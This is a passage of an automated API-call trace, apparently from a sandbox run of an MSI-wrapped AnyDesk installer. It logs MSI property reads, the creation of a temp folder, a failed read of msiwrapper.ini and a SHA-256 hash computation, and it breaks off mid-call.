[0146.536] MsiRecordSetStringW (hRecord=0x8, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=ProductCode") returned 0x0 [0146.537] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x8) returned 0 [0146.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5758 | out: hHeap=0x5c0000) returned 1 [0146.545] MsiCloseHandle (hAny=0x8) returned 0x0 [0146.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.546] MsiGetPropertyW (in: hInstall=0x1, szName="ProductCode", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df4c8 | out: szValueBuf="", pcchValueBuf=0x21df4c8) returned 0xea [0146.549] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4e) returned 0x340a78 [0146.549] MsiGetPropertyW (in: hInstall=0x1, szName="ProductCode", szValueBuf=0x340a78, pcchValueBuf=0x21df4c8 | out: szValueBuf="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", pcchValueBuf=0x21df4c8) returned 0x0 [0146.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x5f56e0 [0146.551] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.551] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.551] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x90) returned 0x5f5748 [0146.551] MsiCreateRecord (cParams=0x2) returned 0x9 [0146.552] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.552] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xb0) returned 0x5f57e0 [0146.552] MsiRecordSetStringW (hRecord=0x9, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value={AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 0x0 [0146.553] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x9) returned 0 [0146.557] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f57e0 | out: hHeap=0x5c0000) returned 1 [0146.558] MsiCloseHandle (hAny=0x9) returned 0x0 [0146.560] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5748 | out: hHeap=0x5c0000) returned 1 [0146.560] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.560] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5748 [0146.560] MsiCreateRecord (cParams=0x2) returned 0xa [0146.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.561] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f57c0 [0146.561] MsiRecordSetStringW (hRecord=0xa, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=ProductName") returned 0x0 [0146.562] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xa) returned 0 [0146.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f57c0 | out: hHeap=0x5c0000) returned 1 [0146.565] MsiCloseHandle (hAny=0xa) returned 0x0 [0146.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5748 | out: hHeap=0x5c0000) returned 1 [0146.567] MsiGetPropertyW (in: hInstall=0x1, szName="ProductName", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df4c4 | out: szValueBuf="", pcchValueBuf=0x21df4c4) returned 0xea [0146.582] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8e) returned 0x340a78 [0146.582] MsiGetPropertyW (in: hInstall=0x1, szName="ProductName", szValueBuf=0x340a78, pcchValueBuf=0x21df4c4 | out: szValueBuf="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com", pcchValueBuf=0x21df4c4) returned 0x0 [0146.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f5748 [0146.584] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.586] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xd0) returned 0x5f5b40 [0146.586] MsiCreateRecord (cParams=0x2) returned 0xb [0146.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.587] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xf0) returned 0x5f5c18 [0146.587] MsiRecordSetStringW (hRecord=0xb, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 0x0 [0146.588] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xb) returned 0 [0146.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.595] MsiCloseHandle (hAny=0xb) returned 0x0 [0146.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5b40 | out: hHeap=0x5c0000) returned 1 [0146.597] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5748 | out: hHeap=0x5c0000) returned 1 [0146.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3bb8 | out: hHeap=0x5c0000) returned 1 [0146.598] MsiCreateRecord (cParams=0x2) returned 0xc [0146.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.600] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f56e0 [0146.600] MsiRecordSetStringW (hRecord=0xc, iField=0x0, szValue="-- CUSTOM ACTION -- InstallPrepareInternal.") returned 0x0 [0146.602] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xc) returned 0 [0146.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.605] MsiCloseHandle (hAny=0xc) returned 0x0 [0146.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.607] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f56e0 [0146.607] MsiCreateRecord (cParams=0x2) returned 0xd [0146.608] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.608] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x90) returned 0x5f5758 [0146.608] MsiRecordSetStringW (hRecord=0xd, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.ELEVATE_EXECUTABLE") returned 0x0 [0146.609] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xd) returned 0 [0146.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5758 | out: hHeap=0x5c0000) returned 1 [0146.613] MsiCloseHandle (hAny=0xd) returned 0x0 [0146.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.615] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.ELEVATE_EXECUTABLE", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0146.618] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xc) returned 0x340a78 [0146.618] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.ELEVATE_EXECUTABLE", szValueBuf=0x340a78, pcchValueBuf=0x21df470 | out: szValueBuf="never", pcchValueBuf=0x21df470) returned 0x0 [0146.621] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3bb8 [0146.621] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.621] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.621] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f56e0 [0146.621] MsiCreateRecord (cParams=0x2) returned 0xe [0146.622] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.622] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5758 [0146.622] MsiRecordSetStringW (hRecord=0xe, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=never") returned 0x0 [0146.624] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xe) returned 0 [0146.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5758 | out: hHeap=0x5c0000) returned 1 [0146.628] MsiCloseHandle (hAny=0xe) returned 0x0 [0146.630] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f56e0 | out: hHeap=0x5c0000) returned 1 [0146.630] UuidCreate (in: Uuid=0x21df464 | out: Uuid=0x21df464) returned 0x0 [0146.631] UuidToStringW (in: Uuid=0x21df464, StringUuid=0x21df460 | out: StringUuid=0x21df460) returned 0x0 [0146.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x5f5738 [0146.631] RpcMgmtStatsVectorFree (in: StatsVector=0x21df460 | out: StatsVector=0x21df460) returned 0x0 [0146.631] GetTempPathW (in: nBufferLength=0x105, lpBuffer=0x21df268 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0146.631] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x5f57a0 [0146.631] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f57a0, Size=0xb0) returned 0x5f57a0 [0146.631] CreateDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3"), lpSecurityAttributes=0x0) returned 1 [0146.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5f5b40 [0146.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3cd0 [0146.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.641] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.641] MsiCreateRecord (cParams=0x2) returned 0xf [0146.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.642] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f5c90 [0146.642] MsiRecordSetStringW (hRecord=0xf, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.WRAPPED_APPID") returned 0x0 [0146.643] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0xf) returned 0 [0146.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c90 | out: hHeap=0x5c0000) returned 1 [0146.649] MsiCloseHandle (hAny=0xf) returned 0x0 [0146.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.651] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.WRAPPED_APPID", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0146.654] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x340a78 [0146.654] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.WRAPPED_APPID", szValueBuf=0x340a78, pcchValueBuf=0x21df470 | out: szValueBuf="AnyDesk", pcchValueBuf=0x21df470) returned 0x0 [0146.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3cf8 [0146.657] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.657] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.657] MsiCreateRecord (cParams=0x2) returned 0x10 [0146.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.658] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c90 [0146.658] MsiRecordSetStringW (hRecord=0x10, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=AnyDesk") returned 0x0 [0146.660] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x10) returned 0 [0146.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c90 | out: hHeap=0x5c0000) returned 1 [0146.667] MsiCloseHandle (hAny=0x10) returned 0x0 [0146.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.669] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.669] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0146.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x1) returned 0x340a78 [0146.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x340a78, nNumberOfBytesToRead=0xffffffff, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x340a78, lpNumberOfBytesRead=0x21df458*=0x0, lpOverlapped=0x0) returned 0 [0146.669] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d20 [0146.669] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d20, Size=0x40) returned 0x5dbad8 [0146.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0146.669] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3cd0, Size=0x40) returned 0x5dbad8 [0146.670] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3cd0 [0146.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3cd0 | out: hHeap=0x5c0000) returned 1 [0146.670] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f6490) returned 1 [0146.672] CryptCreateHash (in: hProv=0x5f6490, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0146.674] CryptHashData (hHash=0x5f66f8, pbData=0x5f5b50, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.675] CryptHashData (hHash=0x5f66f8, pbData=0x5f5c28, dwDataLen=0x3c, dwFlags=0x0) returned 1 [0146.675] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340a78 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a88 [0146.675] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x2, pbData=0x340a88, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a88, pdwDataLen=0x21df3d8) returned 1 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x34) returned 0x340ac0 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340b00 [0146.676] GetLastError () returned 0x0 [0146.676] SetLastError (dwErrCode=0x0) [0146.676] GetLastError () returned 0x0 [0146.676] SetLastError (dwErrCode=0x0) [0146.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340b20 [0146.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x340c00 [0146.676] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c00 | out: hHeap=0x340000) returned 1 [0146.677] GetLastError () returned 0x0 [0146.677] SetLastError (dwErrCode=0x0) [0146.677] GetLastError () returned 0x0 [0146.677] SetLastError (dwErrCode=0x0) [0146.677] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340c00 [0146.677] GetLastError () returned 0x0 [0146.677] SetLastError (dwErrCode=0x0) [0146.677] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.677] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.678] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x340000) returned 1 [0146.678] GetLastError () returned 0x0 [0146.680] SetLastError (dwErrCode=0x0) [0146.680] GetLastError () returned 0x0 [0146.680] SetLastError (dwErrCode=0x0) [0146.680] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x200) returned 0x340ce0 [0146.680] GetLastError () returned 0x0 [0146.680] SetLastError (dwErrCode=0x0) [0146.680] GetLastError () returned 0x0 [0146.680] SetLastError (dwErrCode=0x0) [0146.680] GetLastError () returned 0x0 [0146.680] SetLastError (dwErrCode=0x0) [0146.681] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340b20 [0146.681] GetLastError () returned 0x0 [0146.681] SetLastError (dwErrCode=0x0) [0146.681] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.681] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.682] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c00 | out: hHeap=0x340000) returned 1 [0146.682] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3409f0) returned 0x80 [0146.683] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8) returned 0x340ee8 [0146.683] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340ef8 [0146.683] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340f18 [0146.683] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x340f28 [0146.683] GetLastError () returned 0x0 [0146.683] SetLastError (dwErrCode=0x0) [0146.683] GetLastError () returned 0x0 [0146.683] SetLastError (dwErrCode=0x0) [0146.683] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340c00 [0146.684] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.684] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.685] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x340000) returned 1 [0146.685] GetLastError () returned 0x0 [0146.685] SetLastError (dwErrCode=0x0) [0146.685] GetLastError () returned 0x0 [0146.685] SetLastError (dwErrCode=0x0) [0146.685] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340b20 [0146.685] GetLastError () returned 0x0 [0146.685] SetLastError (dwErrCode=0x0) [0146.685] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.686] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.686] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c00 | out: hHeap=0x340000) returned 1 [0146.686] GetLastError () returned 0x0 [0146.686] SetLastError (dwErrCode=0x0) [0146.686] GetLastError () returned 0x0 [0146.686] SetLastError (dwErrCode=0x0) [0146.686] GetLastError () returned 0x0 [0146.687] SetLastError (dwErrCode=0x0) [0146.687] GetLastError () returned 0x0 [0146.687] SetLastError (dwErrCode=0x0) [0146.687] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340c00 [0146.687] GetLastError () returned 0x0 [0146.687] SetLastError (dwErrCode=0x0) [0146.687] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.687] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.688] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x340000) returned 1 [0146.688] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8) returned 0x340f40 [0146.688] GetLastError () returned 0x0 [0146.688] SetLastError (dwErrCode=0x0) [0146.689] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f50 [0146.689] GetLastError () returned 0x0 [0146.689] SetLastError (dwErrCode=0x0) [0146.689] GetLastError () returned 0x0 [0146.689] SetLastError (dwErrCode=0x0) [0146.689] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340b20 [0146.689] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.689] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.690] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c00 | out: hHeap=0x340000) returned 1 [0146.690] GetLastError () returned 0x0 [0146.690] SetLastError (dwErrCode=0x0) [0146.690] GetLastError () returned 0x0 [0146.690] SetLastError (dwErrCode=0x0) [0146.690] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x340c00 [0146.690] GetLastError () returned 0x0 [0146.690] SetLastError (dwErrCode=0x0) [0146.690] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x3429e8 [0146.691] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3429e8 | out: hHeap=0x340000) returned 1 [0146.691] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b20 | out: hHeap=0x340000) returned 1 [0146.691] GetLastError () returned 0x0 [0146.691] SetLastError (dwErrCode=0x0) [0146.691] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x1) returned 0x340f70 [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x6) returned 0x340b20 [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x5) returned 0x340b30 [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.692] GetLastError () returned 0x0 [0146.692] SetLastError (dwErrCode=0x0) [0146.693] GetLastError () returned 0x0 [0146.693] SetLastError (dwErrCode=0x0) [0146.693] GetLastError () returned 0x0 [0146.693] SetLastError (dwErrCode=0x0) [0146.693] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x1) returned 0x340b40 [0146.693] GetLastError () returned 0x0 [0146.693] SetLastError (dwErrCode=0x0) [0146.693] GetLastError () returned 0x0 [0146.693] SetLastError (dwErrCode=0x0) [0146.693] GetLastError () returned 0x0 [0146.693] SetLastError (dwErrCode=0x0) [0146.693] GetLastError () returned 0x0 [0146.693] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xd8) returned 0x3429e8 [0146.693] GetLastError () returned 0x0 [0146.693] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x355) returned 0x342ac8 [0146.694] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0146.694] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c00 | out: hHeap=0x340000) returned 1 [0146.694] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x8) returned 0x340b50 [0146.695] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.695] GetLastError () returned 0x0 [0146.695] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.695] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.695] GetLastError () returned 0x0 [0146.695] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.695] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.695] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9730 [0146.696] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9740, cchWideChar=64 | out: lpWideCharStr="18f53e36c3f1618e11bf0ac408810f00ec59b28550c7f6ec036ea044f0ce9aa7") returned 0 [0146.696] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.696] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.696] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f18 | out: hHeap=0x340000) returned 1 [0146.696] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.696] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.697] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a88 | out: hHeap=0x340000) returned 1 [0146.697] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.697] CryptDestroyHash (hHash=0x5f66f8) returned 1 [0146.697] CryptReleaseContext (hProv=0x5f6490, dwFlags=0x0) returned 1 [0146.697] RtlAllocateHeap 